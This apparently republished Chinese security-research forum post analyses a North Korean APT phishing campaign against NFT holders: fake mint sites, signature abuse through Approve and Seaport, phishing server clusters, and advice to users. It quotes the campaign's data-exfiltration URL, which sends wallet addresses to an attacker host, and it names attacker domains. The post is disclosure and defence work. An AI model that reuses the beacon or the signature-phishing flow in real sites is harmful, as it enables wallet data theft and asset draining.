返回论坛

朝鲜APT组织针对NFT用户的大规模钓鱼攻击深度分析

查找币 漏洞披露 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
## 背景 2023年9月2日,查找币安全团队监测到一起疑似APT组织针对加密生态NFT用户的大规模钓鱼活动,并发布了《“零元购” NFT 钓鱼分析》预警。9月4日,推特安全研究员Phantom X公开披露,朝鲜APT组织正针对数十个ETH和SOL生态项目发动大规模网络钓鱼攻击。 该研究员提供的196个钓鱼域名列表,经查找币安全团队关联分析后,确认与朝鲜黑客组织存在直接关联。由于朝鲜黑客针对加密货币行业的攻击模型日趋复杂化、多样化,本文仅就其中部分钓鱼素材及关联钱包地址进行技术披露,重点聚焦NFT钓鱼攻击的技术细节。 ## 钓鱼网站技术分析 ### 攻击规模与域名特征 经深入分析,此次APT组织采用了“虚假NFT诱饵网站”攻击模式。攻击者伪造知名NFT项目网站,诱导用户在恶意Mint页面进行授权操作。这些虚假NFT在OpenSea、X2Y2、Rarible等主流平台均有挂售记录。截至分析时,已发现近500个活跃钓鱼域名。 域名注册信息显示,最早注册时间可追溯至7个月前,表明攻击者进行了长期准备: ### 三大核心攻击特征 #### 特征一:用户数据窃取机制 所有钓鱼网站均嵌入数据收集脚本,通过HTTP GET请求将访客信息实时发送至外部服务器。请求格式统一为: ``` https://nserva.live/postAddr.php?mmAddr=[Metamask地址]&accessTime=[时间戳]&url=[钓鱼站点URL] ``` 参数解析: - `mmAddr`:记录访客钱包地址 - `accessTime`:记录访问时间戳 - `url`:记录当前访问的钓鱼链接 #### 特征二:动态价格数据请求 钓鱼网站会主动请求NFT项目价目表,HTTP请求路径固定为: ``` /getPriceData.php ``` 该接口用于实时获取目标NFT的最新价格,以增强钓鱼页面的可信度。 #### 特征三:图像资源映射文件 存在名为`imgSrc.js`的配置文件,该文件包含: - 目标NFT项目列表 - 对应钓鱼页面的图像托管地址 - 站点映射关系 该文件是钓鱼网站模板的核心组件,便于攻击者快速部署和批量管理。 ### 基础设施分析 主要监控域名为`thedoodles.site`,该域名在攻击早期阶段用于集中收集用户数据。HTTPS证书启用时间为7个月前,与域名注册时间吻合,证实攻击者已进行长期准备。 ### 服务器集群规模 通过证书关联分析,发现攻击者部署了大规模钓鱼站群: - 单IP下最多发现**372个**NFT钓鱼站点 - 另一IP下发现**320个**NFT钓鱼站点 - 还发现朝鲜黑客运营的DeFi平台 服务器中留存大量攻击脚本和统计文件,包括: - 受害者访问记录 - 授权状态数据 - 插件钱包使用情况 - Approve交易记录 - 签名数据(sigData) ## 钓鱼攻击手法深度解析 ### 智能合约交互层 核心攻击代码涉及多个ERC20代币协议,包括: - WETH - USDC - DAI - UNI 攻击流程: 1. **诱导授权(Approve)**:伪造NFT Mint页面,诱导用户授权恶意合约 2. **签名攻击(Permit/Seaport)**:利用离线签名机制,绕过链上验证 ### 签名攻击技术细节 攻击者利用Seaport协议的离线签名特性,诱导用户在钓鱼页面签署“看似正常”的授权签名。关键区别在于签名域名为恶意站点而非`opensea.io`。 攻击流程: 1. 用户访问钓鱼页面 2. 页面请求签名(伪装成正常交易) 3. 用户签署后,签名数据被“离线存储” 4. 攻击者批量提取签名数据 5. 批量上链转移资产 该攻击模式的核心威胁在于: - 签名请求可“离线存储”,无需实时交互 - 攻击者可积累大量签名后一次性执行 - 用户无法感知签名被滥用 ## 威胁评估与防护建议 ### 威胁等级:严重 此次攻击具有以下特点: - **组织化**:朝鲜APT组织主导,攻击链完整 - **规模化**:500+钓鱼域名,多IP站群部署 - **持久化**:7个月以上的长期准备 - **专业化**:利用Seaport等主流协议漏洞 ### 防护建议 1. **签名验证**: - 仔细核对签名域名是否为官方域名 - 警惕非预期签名请求 - 使用硬件钱包签名时确认完整交易内容 2. **授权管理**: - 定期检查并撤销不必要的合约授权 - 使用Revoke.cash等工具管理授权 - 对陌生合约保持零信任原则 3. **安全工具**: - 安装ScamSniffer等钓鱼检测插件 - 启用钱包安全警报功能 - 使用多签钱包管理大额资产 4. **安全意识**: - 不点击来源不明的NFT Mint链接 - 通过官方渠道确认项目信息 - 定期学习《区块链黑暗森林自救手册》 ## 总结 本次朝鲜APT组织针对NFT用户的大规模钓鱼攻击,展现了国家级黑客组织的技术实力和攻击能力。攻击者通过伪造知名项目、利用签名协议漏洞、构建大规模钓鱼站群等手段,形成完整的攻击链条。 查找币安全团队将持续监控此类威胁,并在第一时间发布预警。建议用户加强安全意识,审慎处理每一次签名和授权请求。 --- **相关链接:** - [查找币《区块链黑暗森林自救手册》](https://github.com/查找币/Blockchain-dark-forest-selfguard-handbook) - [Prevailion安全分析报告](https://www.prevailion.com/what-wicked-webs-we-unweave) - [Phantom X推文](https://twitter.com/PhantomXSec/status/1566219671057371136) **推荐阅读:** - 查找币:空白支票 eth_sign 钓鱼分析 - 查找币:警惕 TransferFrom 零转账骗局 - 查找币:警惕相同尾号空投骗局 --- 本文由查找币安全团队整理发布
在论坛中查看和回复